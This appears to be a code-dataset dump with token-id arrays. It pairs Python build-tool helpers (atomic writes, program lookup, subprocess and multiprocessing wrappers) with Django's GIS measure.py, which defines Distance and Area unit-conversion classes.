setattr(self, self.__slots__[item], value) def __len__(self): return len(self.__slots__) try: iteritems = dict.iteritems except AttributeError: iteritems = dict.items class UserError(RuntimeError): pass def is_deprecated_package(manifest): deprecated = next((e for e in manifest.exports if e.tagname == "deprecated"), None) return deprecated is not None def deprecated_package_info(manifest): deprecated = next((e for e in manifest.exports if e.tagname == "deprecated"), None) return deprecated.content if deprecated is not None else None def path_has_prefix(path, prefix): p = os.path.normpath(path) q = os.path.normpath(prefix) if p == q: return True head, tail = os.path.split(p) while tail != "": if head == q: return True head, tail = os.path.split(head) return False def has_package_path(obj, paths): for path in paths: if path_has_prefix(path, obj.workspace_path if hasattr(obj, "workspace_path") else obj): return True return False def env_path_list_contains(path_list, path): if path_list not in os.environ: return False paths = os.environ[path_list].split(os.pathsep) return path in paths def makedirs(path): if not os.path.isdir(path): os.makedirs(path) def write_atomic(filepath, data, mode=0o644, ignore_fail=False): try: fd, filepath_tmp = mkstemp(prefix=os.path.basename(filepath) + ".tmp.", dir=os.path.dirname(filepath)) os.fchmod(fd, mode) with os.fdopen(fd, "wb") as f: f.write(data) os.rename(filepath_tmp, filepath) except (IOError, OSError): if not ignore_fail: raise def isatty(fd): return hasattr(fd, "isatty") and fd.isatty() _cached_terminal_size = None def get_terminal_size(): global _cached_terminal_size if _cached_terminal_size is not None: return _cached_terminal_size try: with open(os.ctermid(), "rb") as f: cr = struct.unpack('hh', fcntl.ioctl(f.fileno(), termios.TIOCGWINSZ, '1234')) except (IOError, struct.error): raise OSError("Cannot determine terminal size") _cached_terminal_size = int(cr[1]), int(cr[0]) return _cached_terminal_size def find_program(program): def is_exe(fpath): return os.path.isfile(fpath) and os.access(fpath, os.X_OK) fpath, fname = os.path.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): fpath = path.strip('"') candidate = os.path.join(fpath, fname) if is_exe(candidate): return candidate return None def getmtime(path): return os.path.getmtime(path) if os.path.exists(path) else 0 def call_process(args, bufsize=0, stdin=None, stdout=None, stderr=None, cwd=None, env=None, input_data=None): p = Popen(args, bufsize=bufsize, stdin=stdin, stdout=stdout, stderr=stderr, cwd=cwd, env=env) if stdin == PIPE or stdout == PIPE or stderr == PIPE: stdoutdata, stderrdata = p.communicate(input_data.encode("UTF-8") if input_data else None) return p.returncode, stdoutdata.decode("UTF-8") if stdoutdata is not None else None, stderrdata.decode("UTF-8") if stderrdata is not None else None else: p.wait() return p.returncode def create_multiprocess_manager(): return multiprocessing.Manager() def _worker_init(worker_init, worker_init_args): signal.signal(signal.SIGINT, signal.SIG_IGN) if worker_init is not None: worker_init(*worker_init_args) def run_multiprocess_workers(worker, workload, worker_init=None, worker_init_args=(), jobs=None, timeout=None): if not workload: return [] if timeout is None: timeout = 999999999 # Workaround for KeyboardInterrupt pool = multiprocessing.Pool(processes=jobs, initializer=_worker_init, initargs=(worker_init, worker_init_args)) try: result_obj = pool.map_async(worker, workload) pool.close() result = result_obj.get(timeout=timeout) return result except: pool.terminate() raise finally: pool.join()
apache-2.0
[ 3, 2803, 29, 1624, 13, 24, 199, 3, 199, 3, 820, 3100, 20424, 199, 3, 14944, 820, 3100, 1736, 10749, 543, 3663, 12579, 5561, 23737, 199, 3, 199, 3, 6529, 26, 377, 73, 573, 820, 14614, 72, 2983, 199, 3, 199, 3, 1898, 7800, 481, 345, 324, 526, 2412, 18821, 4332, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 3, 199, 646, 747, 199, 646, 12871, 199, 646, 28725, 199, 646, 2702, 199, 646, 12866, 199, 646, 4673, 199, 504, 5549, 492, 333, 6080, 808, 199, 504, 3873, 492, 13995, 12, 22773, 199, 199, 504, 8864, 492, 2248, 465, 8864, 63, 912, 63, 5472, 12, 5461, 465, 8864, 63, 2724, 63, 5472, 12, 18916, 547, 199, 893, 26, 272, 687, 8864, 492, 445, 11090, 5455, 465, 14969, 5455, 12, 445, 11090, 28593, 465, 14969, 28593, 199, 2590, 3545, 26, 272, 687, 8864, 492, 14969, 5455, 12, 14969, 28593, 421, 199, 318, 8864, 63, 912, 8, 1745, 12, 22865, 29, 11090, 5455, 304, 272, 372, 8864, 63, 912, 63, 5472, 8, 1745, 12, 22865, 29, 5455, 9, 421, 199, 318, 8864, 63, 2724, 8, 576, 12, 2547, 29, 403, 12, 19460, 281, 29, 11090, 28593, 12, 1011, 958, 304, 272, 372, 8864, 63, 2724, 63, 5472, 8, 576, 12, 2547, 29, 1745, 12, 19460, 281, 29, 28593, 12, 1011, 958, 9, 421, 199, 533, 16198, 7075, 8, 785, 304, 272, 636, 7257, 363, 275, 6248, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 14319, 275, 291, 855, 7257, 363, 267, 367, 1022, 315, 14319, 26, 288, 5371, 8, 277, 12, 1022, 12, 2074, 14, 362, 8, 75, 430, 267, 340, 1249, 26, 288, 367, 1022, 12, 373, 315, 3482, 8, 7257, 12, 1249, 304, 355, 5371, 8, 277, 12, 1022, 12, 373, 9, 339, 347, 636, 495, 721, 277, 304, 267, 843, 354, 275, 291, 855, 533, 4914, 354, 363, 267, 1338, 275, 3872, 3680, 904, 3647, 83, 2458, 82, 2, 450, 334, 75, 12, 2519, 8, 277, 12, 1022, 430, 367, 1022, 315, 291, 855, 7257, 3368, 267, 372, 2071, 83, 4042, 83, 2924, 450, 334, 1886, 354, 12, 1338, 9, 272, 636, 2722, 363, 275, 636, 495, 363, 339, 347, 636, 6095, 721, 277, 12, 1242, 304, 267, 372, 2519, 8, 277, 12, 291, 855, 7257, 12298, 1053, 566, 339, 347, 636, 8617, 721, 277, 12, 1242, 12, 574, 304, 267, 372, 5371, 8, 277, 12, 291, 855, 7257, 12298, 1053, 467, 574, 9, 339, 347, 636, 552, 721, 277, 304, 267, 372, 822, 8, 277, 855, 7257, 3368, 421, 199, 893, 26, 272, 10849, 275, 1211, 14, 4611, 199, 2590, 4281, 26, 272, 10849, 275, 1211, 14, 1744, 421, 199, 533, 29908, 8, 13281, 304, 272, 986, 421, 199, 318, 365, 63, 6667, 63, 2491, 8, 6418, 304, 272, 5906, 275, 2163, 1332, 69, 367, 325, 315, 7712, 14, 20775, 340, 325, 14, 24173, 508, 298, 6667, 1288, 488, 9, 272, 372, 5906, 365, 440, 488, 421, 199, 318, 5906, 63, 2491, 63, 815, 8, 6418, 304, 272, 5906, 275, 2163, 1332, 69, 367, 325, 315, 7712, 14, 20775, 340, 325, 14, 24173, 508, 298, 6667, 1288, 488, 9, 272, 372, 5906, 14, 1317, 340, 5906, 365, 440, 488, 587, 488, 421, 199, 318, 931, 63, 1989, 63, 1861, 8, 515, 12, 2403, 304, 272, 299, 275, 747, 14, 515, 14, 9267, 8, 515, 9, 272, 1894, 275, 747, 14, 515, 14, 9267, 8, 1861, 9, 272, 340, 299, 508, 1894, 26, 267, 372, 715, 272, 4854, 12, 9483, 275, 747, 14, 515, 14, 1294, 8, 80, 9, 272, 1830, 9483, 1137, 10812, 267, 340, 4854, 508, 1894, 26, 288, 372, 715, 267, 4854, 12, 9483, 275, 747, 14, 515, 14, 1294, 8, 2993, 9, 272, 372, 756, 421, 199, 318, 965, 63, 2491, 63, 515, 8, 1113, 12, 3792, 304, 272, 367, 931, 315, 3792, 26, 267, 340, 931, 63, 1989, 63, 1861, 8, 515, 12, 1559, 14, 13249, 63, 515, 340, 2688, 8, 1113, 12, 298, 13249, 63, 515, 531, 587, 1559, 304, 288, 372, 715, 272, 372, 756, 421, 199, 318, 2589, 63, 515, 63, 513, 63, 6134, 8, 515, 63, 513, 12, 931, 304, 272, 340, 931, 63, 513, 440, 315, 747, 14, 2314, 26, 267, 372, 756, 272, 3792, 275, 747, 14, 2314, 59, 515, 63, 513, 1055, 1294, 8, 736, 14, 17843, 9, 272, 372, 931, 315, 3792, 421, 199, 318, 1852, 3220, 8, 515, 304, 272, 340, 440, 747, 14, 515, 14, 6027, 8, 515, 304, 267, 747, 14, 8347, 8, 515, 9, 421, 199, 318, 2218, 63, 10910, 8, 7218, 12, 666, 12, 818, 29, 16, 79, 10893, 12, 3686, 63, 1633, 29, 797, 304, 272, 862, 26, 267, 6111, 12, 9911, 63, 2791, 275, 333, 6080, 808, 8, 1861, 29, 736, 14, 515, 14, 4846, 8, 7218, 9, 435, 3680, 2791, 4765, 2935, 29, 736, 14, 515, 14, 3475, 8, 7218, 430, 267, 747, 14, 70, 11693, 8, 2592, 12, 818, 9, 267, 543, 747, 14, 23140, 8, 2592, 12, 298, 6603, 531, 465, 289, 26, 288, 289, 14, 952, 8, 576, 9, 267, 747, 14, 8165, 8, 7218, 63, 2791, 12, 9911, 9, 272, 871, 334, 13760, 12, 6440, 304, 267, 340, 440, 3686, 63, 1633, 26, 288, 746, 421, 199, 318, 365, 16623, 8, 2592, 304, 272, 372, 2688, 8, 2592, 12, 298, 21122, 531, 436, 6111, 14, 21122 ]
[ 2803, 29, 1624, 13, 24, 199, 3, 199, 3, 820, 3100, 20424, 199, 3, 14944, 820, 3100, 1736, 10749, 543, 3663, 12579, 5561, 23737, 199, 3, 199, 3, 6529, 26, 377, 73, 573, 820, 14614, 72, 2983, 199, 3, 199, 3, 1898, 7800, 481, 345, 324, 526, 2412, 18821, 4332, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 199, 3, 199, 646, 747, 199, 646, 12871, 199, 646, 28725, 199, 646, 2702, 199, 646, 12866, 199, 646, 4673, 199, 504, 5549, 492, 333, 6080, 808, 199, 504, 3873, 492, 13995, 12, 22773, 199, 199, 504, 8864, 492, 2248, 465, 8864, 63, 912, 63, 5472, 12, 5461, 465, 8864, 63, 2724, 63, 5472, 12, 18916, 547, 199, 893, 26, 272, 687, 8864, 492, 445, 11090, 5455, 465, 14969, 5455, 12, 445, 11090, 28593, 465, 14969, 28593, 199, 2590, 3545, 26, 272, 687, 8864, 492, 14969, 5455, 12, 14969, 28593, 421, 199, 318, 8864, 63, 912, 8, 1745, 12, 22865, 29, 11090, 5455, 304, 272, 372, 8864, 63, 912, 63, 5472, 8, 1745, 12, 22865, 29, 5455, 9, 421, 199, 318, 8864, 63, 2724, 8, 576, 12, 2547, 29, 403, 12, 19460, 281, 29, 11090, 28593, 12, 1011, 958, 304, 272, 372, 8864, 63, 2724, 63, 5472, 8, 576, 12, 2547, 29, 1745, 12, 19460, 281, 29, 28593, 12, 1011, 958, 9, 421, 199, 533, 16198, 7075, 8, 785, 304, 272, 636, 7257, 363, 275, 6248, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 14319, 275, 291, 855, 7257, 363, 267, 367, 1022, 315, 14319, 26, 288, 5371, 8, 277, 12, 1022, 12, 2074, 14, 362, 8, 75, 430, 267, 340, 1249, 26, 288, 367, 1022, 12, 373, 315, 3482, 8, 7257, 12, 1249, 304, 355, 5371, 8, 277, 12, 1022, 12, 373, 9, 339, 347, 636, 495, 721, 277, 304, 267, 843, 354, 275, 291, 855, 533, 4914, 354, 363, 267, 1338, 275, 3872, 3680, 904, 3647, 83, 2458, 82, 2, 450, 334, 75, 12, 2519, 8, 277, 12, 1022, 430, 367, 1022, 315, 291, 855, 7257, 3368, 267, 372, 2071, 83, 4042, 83, 2924, 450, 334, 1886, 354, 12, 1338, 9, 272, 636, 2722, 363, 275, 636, 495, 363, 339, 347, 636, 6095, 721, 277, 12, 1242, 304, 267, 372, 2519, 8, 277, 12, 291, 855, 7257, 12298, 1053, 566, 339, 347, 636, 8617, 721, 277, 12, 1242, 12, 574, 304, 267, 372, 5371, 8, 277, 12, 291, 855, 7257, 12298, 1053, 467, 574, 9, 339, 347, 636, 552, 721, 277, 304, 267, 372, 822, 8, 277, 855, 7257, 3368, 421, 199, 893, 26, 272, 10849, 275, 1211, 14, 4611, 199, 2590, 4281, 26, 272, 10849, 275, 1211, 14, 1744, 421, 199, 533, 29908, 8, 13281, 304, 272, 986, 421, 199, 318, 365, 63, 6667, 63, 2491, 8, 6418, 304, 272, 5906, 275, 2163, 1332, 69, 367, 325, 315, 7712, 14, 20775, 340, 325, 14, 24173, 508, 298, 6667, 1288, 488, 9, 272, 372, 5906, 365, 440, 488, 421, 199, 318, 5906, 63, 2491, 63, 815, 8, 6418, 304, 272, 5906, 275, 2163, 1332, 69, 367, 325, 315, 7712, 14, 20775, 340, 325, 14, 24173, 508, 298, 6667, 1288, 488, 9, 272, 372, 5906, 14, 1317, 340, 5906, 365, 440, 488, 587, 488, 421, 199, 318, 931, 63, 1989, 63, 1861, 8, 515, 12, 2403, 304, 272, 299, 275, 747, 14, 515, 14, 9267, 8, 515, 9, 272, 1894, 275, 747, 14, 515, 14, 9267, 8, 1861, 9, 272, 340, 299, 508, 1894, 26, 267, 372, 715, 272, 4854, 12, 9483, 275, 747, 14, 515, 14, 1294, 8, 80, 9, 272, 1830, 9483, 1137, 10812, 267, 340, 4854, 508, 1894, 26, 288, 372, 715, 267, 4854, 12, 9483, 275, 747, 14, 515, 14, 1294, 8, 2993, 9, 272, 372, 756, 421, 199, 318, 965, 63, 2491, 63, 515, 8, 1113, 12, 3792, 304, 272, 367, 931, 315, 3792, 26, 267, 340, 931, 63, 1989, 63, 1861, 8, 515, 12, 1559, 14, 13249, 63, 515, 340, 2688, 8, 1113, 12, 298, 13249, 63, 515, 531, 587, 1559, 304, 288, 372, 715, 272, 372, 756, 421, 199, 318, 2589, 63, 515, 63, 513, 63, 6134, 8, 515, 63, 513, 12, 931, 304, 272, 340, 931, 63, 513, 440, 315, 747, 14, 2314, 26, 267, 372, 756, 272, 3792, 275, 747, 14, 2314, 59, 515, 63, 513, 1055, 1294, 8, 736, 14, 17843, 9, 272, 372, 931, 315, 3792, 421, 199, 318, 1852, 3220, 8, 515, 304, 272, 340, 440, 747, 14, 515, 14, 6027, 8, 515, 304, 267, 747, 14, 8347, 8, 515, 9, 421, 199, 318, 2218, 63, 10910, 8, 7218, 12, 666, 12, 818, 29, 16, 79, 10893, 12, 3686, 63, 1633, 29, 797, 304, 272, 862, 26, 267, 6111, 12, 9911, 63, 2791, 275, 333, 6080, 808, 8, 1861, 29, 736, 14, 515, 14, 4846, 8, 7218, 9, 435, 3680, 2791, 4765, 2935, 29, 736, 14, 515, 14, 3475, 8, 7218, 430, 267, 747, 14, 70, 11693, 8, 2592, 12, 818, 9, 267, 543, 747, 14, 23140, 8, 2592, 12, 298, 6603, 531, 465, 289, 26, 288, 289, 14, 952, 8, 576, 9, 267, 747, 14, 8165, 8, 7218, 63, 2791, 12, 9911, 9, 272, 871, 334, 13760, 12, 6440, 304, 267, 340, 440, 3686, 63, 1633, 26, 288, 746, 421, 199, 318, 365, 16623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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
purpleidea/macaronic-net
django/contrib/gis/measure.py
398
12282
# Copyright (c) 2007, Robert Coup <robert.coup@onetrackmind.co.nz> # All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # 3. Neither the name of Distance nor the names of its contributors may be used # to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON # ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # """ Distance and Area objects to allow for sensible and convienient calculation and conversions. Authors: Robert Coup, Justin Bronn Inspired by GeoPy (http://exogen.case.edu/projects/geopy/) and Geoff Biggs' PhD work on dimensioned units for robotics. """ __all__ = ['A', 'Area', 'D', 'Distance'] from decimal import Decimal class MeasureBase(object): def default_units(self, kwargs): """ Return the unit value and the default units specified from the given keyword arguments dictionary. """ val = 0.0 for unit, value in kwargs.iteritems(): if not isinstance(value, float): value = float(value) if unit in self.UNITS: val += self.UNITS[unit] * value default_unit = unit elif unit in self.ALIAS: u = self.ALIAS[unit] val += self.UNITS[u] * value default_unit = u else: lower = unit.lower() if lower in self.UNITS: val += self.UNITS[lower] * value default_unit = lower elif lower in self.LALIAS: u = self.LALIAS[lower] val += self.UNITS[u] * value default_unit = u else: raise AttributeError('Unknown unit type: %s' % unit) return val, default_unit @classmethod def unit_attname(cls, unit_str): """ Retrieves the unit attribute name for the given unit string. For example, if the given unit string is 'metre', 'm' would be returned. An exception is raised if an attribute cannot be found. """ lower = unit_str.lower() if unit_str in cls.UNITS: return unit_str elif lower in cls.UNITS: return lower elif lower in cls.LALIAS: return cls.LALIAS[lower] else: raise Exception('Could not find a unit keyword associated with "%s"' % unit_str) class Distance(MeasureBase): UNITS = { 'chain' : 20.1168, 'chain_benoit' : 20.116782, 'chain_sears' : 20.1167645, 'british_chain_benoit' : 20.1167824944, 'british_chain_sears' : 20.1167651216, 'british_chain_sears_truncated' : 20.116756, 'cm' : 0.01, 'british_ft' : 0.304799471539, 'british_yd' : 0.914398414616, 'clarke_ft' : 0.3047972654, 'clarke_link' : 0.201166195164, 'fathom' : 1.8288, 'ft': 0.3048, 'german_m' : 1.0000135965, 'gold_coast_ft' : 0.304799710181508, 'indian_yd' : 0.914398530744, 'inch' : 0.0254, 'km': 1000.0, 'link' : 0.201168, 'link_benoit' : 0.20116782, 'link_sears' : 0.20116765, 'm': 1.0, 'mi': 1609.344, 'mm' : 0.001, 'nm': 1852.0, 'nm_uk' : 1853.184, 'rod' : 5.0292, 'sears_yd' : 0.91439841, 'survey_ft' : 0.304800609601, 'um' : 0.000001, 'yd': 0.9144, } # Unit aliases for `UNIT` terms encountered in Spatial Reference WKT. ALIAS = { 'centimeter' : 'cm', 'foot' : 'ft', 'inches' : 'inch', 'kilometer' : 'km', 'kilometre' : 'km', 'meter' : 'm', 'metre' : 'm', 'micrometer' : 'um', 'micrometre' : 'um', 'millimeter' : 'mm', 'millimetre' : 'mm', 'mile' : 'mi', 'yard' : 'yd', 'British chain (Benoit 1895 B)' : 'british_chain_benoit', 'British chain (Sears 1922)' : 'british_chain_sears', 'British chain (Sears 1922 truncated)' : 'british_chain_sears_truncated', 'British foot (Sears 1922)' : 'british_ft', 'British foot' : 'british_ft', 'British yard (Sears 1922)' : 'british_yd', 'British yard' : 'british_yd', "Clarke's Foot" : 'clarke_ft', "Clarke's link" : 'clarke_link', 'Chain (Benoit)' : 'chain_benoit', 'Chain (Sears)' : 'chain_sears', 'Foot (International)' : 'ft', 'German legal metre' : 'german_m', 'Gold Coast foot' : 'gold_coast_ft', 'Indian yard' : 'indian_yd', 'Link (Benoit)': 'link_benoit', 'Link (Sears)': 'link_sears', 'Nautical Mile' : 'nm', 'Nautical Mile (UK)' : 'nm_uk', 'US survey foot' : 'survey_ft', 'U.S. Foot' : 'survey_ft', 'Yard (Indian)' : 'indian_yd', 'Yard (Sears)' : 'sears_yd' } LALIAS = dict([(k.lower(), v) for k, v in ALIAS.items()]) def __init__(self, default_unit=None, **kwargs): # The base unit is in meters. self.m, self._default_unit = self.default_units(kwargs) if default_unit and isinstance(default_unit, str): self._default_unit = default_unit def __getattr__(self, name): if name in self.UNITS: return self.m / self.UNITS[name] else: raise AttributeError('Unknown unit type: %s' % name) def __repr__(self): return 'Distance(%s=%s)' % (self._default_unit, getattr(self, self._default_unit)) def __str__(self): return '%s %s' % (getattr(self, self._default_unit), self._default_unit) def __cmp__(self, other): if isinstance(other, Distance): return cmp(self.m, other.m) else: return NotImplemented def __add__(self, other): if isinstance(other, Distance): return Distance(default_unit=self._default_unit, m=(self.m + other.m)) else: raise TypeError('Distance must be added with Distance') def __iadd__(self, other): if isinstance(other, Distance): self.m += other.m return self else: raise TypeError('Distance must be added with Distance') def __sub__(self, other): if isinstance(other, Distance): return Distance(default_unit=self._default_unit, m=(self.m - other.m)) else: raise TypeError('Distance must be subtracted from Distance') def __isub__(self, other): if isinstance(other, Distance): self.m -= other.m return self else: raise TypeError('Distance must be subtracted from Distance') def __mul__(self, other): if isinstance(other, (int, float, long, Decimal)): return Distance(default_unit=self._default_unit, m=(self.m * float(other))) elif isinstance(other, Distance): return Area(default_unit='sq_' + self._default_unit, sq_m=(self.m * other.m)) else: raise TypeError('Distance must be multiplied with number or Distance') def __imul__(self, other): if isinstance(other, (int, float, long, Decimal)): self.m *= float(other) return self else: raise TypeError('Distance must be multiplied with number') def __rmul__(self, other): return self * other def __div__(self, other): if isinstance(other, (int, float, long, Decimal)): return Distance(default_unit=self._default_unit, m=(self.m / float(other))) else: raise TypeError('Distance must be divided with number') def __idiv__(self, other): if isinstance(other, (int, float, long, Decimal)): self.m /= float(other) return self else: raise TypeError('Distance must be divided with number') def __nonzero__(self): return bool(self.m) class Area(MeasureBase): # Getting the square units values and the alias dictionary. UNITS = dict([('sq_%s' % k, v ** 2) for k, v in Distance.UNITS.items()]) ALIAS = dict([(k, 'sq_%s' % v) for k, v in Distance.ALIAS.items()]) LALIAS = dict([(k.lower(), v) for k, v in ALIAS.items()]) def __init__(self, default_unit=None, **kwargs): self.sq_m, self._default_unit = self.default_units(kwargs) if default_unit and isinstance(default_unit, str): self._default_unit = default_unit def __getattr__(self, name): if name in self.UNITS: return self.sq_m / self.UNITS[name] else: raise AttributeError('Unknown unit type: ' + name) def __repr__(self): return 'Area(%s=%s)' % (self._default_unit, getattr(self, self._default_unit)) def __str__(self): return '%s %s' % (getattr(self, self._default_unit), self._default_unit) def __cmp__(self, other): if isinstance(other, Area): return cmp(self.sq_m, other.sq_m) else: return NotImplemented def __add__(self, other): if isinstance(other, Area): return Area(default_unit=self._default_unit, sq_m=(self.sq_m + other.sq_m)) else: raise TypeError('Area must be added with Area') def __iadd__(self, other): if isinstance(other, Area): self.sq_m += other.sq_m return self else: raise TypeError('Area must be added with Area') def __sub__(self, other): if isinstance(other, Area): return Area(default_unit=self._default_unit, sq_m=(self.sq_m - other.sq_m)) else: raise TypeError('Area must be subtracted from Area') def __isub__(self, other): if isinstance(other, Area): self.sq_m -= other.sq_m return self else: raise TypeError('Area must be subtracted from Area') def __mul__(self, other): if isinstance(other, (int, float, long, Decimal)): return Area(default_unit=self._default_unit, sq_m=(self.sq_m * float(other))) else: raise TypeError('Area must be multiplied with number') def __imul__(self, other): if isinstance(other, (int, float, long, Decimal)): self.sq_m *= float(other) return self else: raise TypeError('Area must be multiplied with number') def __rmul__(self, other): return self * other def __div__(self, other): if isinstance(other, (int, float, long, Decimal)): return Area(default_unit=self._default_unit, sq_m=(self.sq_m / float(other))) else: raise TypeError('Area must be divided with number') def __idiv__(self, other): if isinstance(other, (int, float, long, Decimal)): self.sq_m /= float(other) return self else: raise TypeError('Area must be divided with number') def __nonzero__(self): return bool(self.sq_m) # Shortcuts D = Distance A = Area
agpl-3.0
[ 3, 1898, 334, 67, 9, 10219, 12, 6848, 12504, 1849, 384, 665, 293, 12504, 14, 331, 384, 32, 368, 3885, 77, 688, 14, 331, 14, 15291, 30, 199, 3, 2900, 4481, 4644, 14, 199, 3, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 7100, 12, 199, 3, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 7647, 26, 199, 3, 199, 3, 257, 413, 14, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 4245, 12, 199, 3, 420, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 199, 3, 257, 499, 14, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 420, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 199, 3, 420, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 199, 3, 257, 650, 14, 11443, 314, 536, 402, 21892, 6590, 314, 1561, 402, 2399, 8417, 1443, 506, 1202, 199, 3, 420, 370, 10692, 503, 10016, 7585, 7131, 687, 642, 2032, 1928, 199, 3, 420, 2488, 6791, 5313, 4983, 14, 199, 3, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 298, 1179, 2281, 2, 2401, 199, 3, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 199, 3, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 3104, 9315, 199, 3, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 11489, 1549, 6483, 6262, 7024, 2381, 199, 3, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 9836, 12, 1549, 9110, 6736, 199, 3, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 9838, 1634, 9103, 9764, 1549, 9714, 27, 199, 3, 9102, 1634, 4815, 12, 7126, 12, 1549, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 199, 3, 1821, 9815, 1634, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 199, 3, 334, 6446, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 199, 3, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 3, 199, 624, 199, 10076, 436, 26280, 2251, 370, 2040, 367, 27962, 436, 406, 433, 287, 6792, 15232, 199, 460, 24796, 14, 199, 199, 2817, 1384, 26, 6848, 12504, 1849, 384, 12, 13870, 262, 699, 2641, 78, 199, 199, 13962, 1038, 581, 701, 8875, 2713, 334, 1014, 921, 23919, 287, 14, 2546, 14, 8654, 15, 6776, 15, 303, 927, 24793, 199, 460, 5346, 1997, 13123, 458, 7, 11308, 36, 1736, 641, 4408, 12308, 6204, 367, 882, 656, 7769, 14, 199, 624, 199, 363, 452, 363, 275, 788, 33, 297, 283, 11043, 297, 283, 36, 297, 283, 10076, 418, 199, 504, 6107, 492, 6345, 199, 199, 533, 22933, 1563, 8, 785, 304, 272, 347, 849, 63, 5260, 8, 277, 12, 2074, 304, 267, 408, 267, 1432, 314, 4137, 574, 436, 314, 849, 6204, 2013, 267, 687, 314, 1627, 4252, 2368, 2600, 14, 267, 408, 267, 1139, 275, 378, 14, 16, 267, 367, 4137, 12, 574, 315, 2074, 14, 4611, 837, 288, 340, 440, 1228, 8, 585, 12, 2069, 304, 574, 275, 2069, 8, 585, 9, 288, 340, 4137, 315, 291, 14, 27522, 26, 355, 1139, 847, 291, 14, 27522, 59, 3248, 61, 627, 574, 355, 849, 63, 3248, 275, 4137, 288, 916, 4137, 315, 291, 14, 12644, 26, 355, 399, 275, 291, 14, 12644, 59, 3248, 61, 355, 1139, 847, 291, 14, 27522, 59, 85, 61, 627, 574, 355, 849, 63, 3248, 275, 399, 288, 587, 26, 355, 5117, 275, 4137, 14, 2325, 342, 355, 340, 5117, 315, 291, 14, 27522, 26, 490, 1139, 847, 291, 14, 27522, 59, 2325, 61, 627, 574, 490, 849, 63, 3248, 275, 5117, 355, 916, 5117, 315, 291, 14, 44, 12644, 26, 490, 399, 275, 291, 14, 44, 12644, 59, 2325, 61, 490, 1139, 847, 291, 14, 27522, 59, 85, 61, 627, 574, 490, 849, 63, 3248, 275, 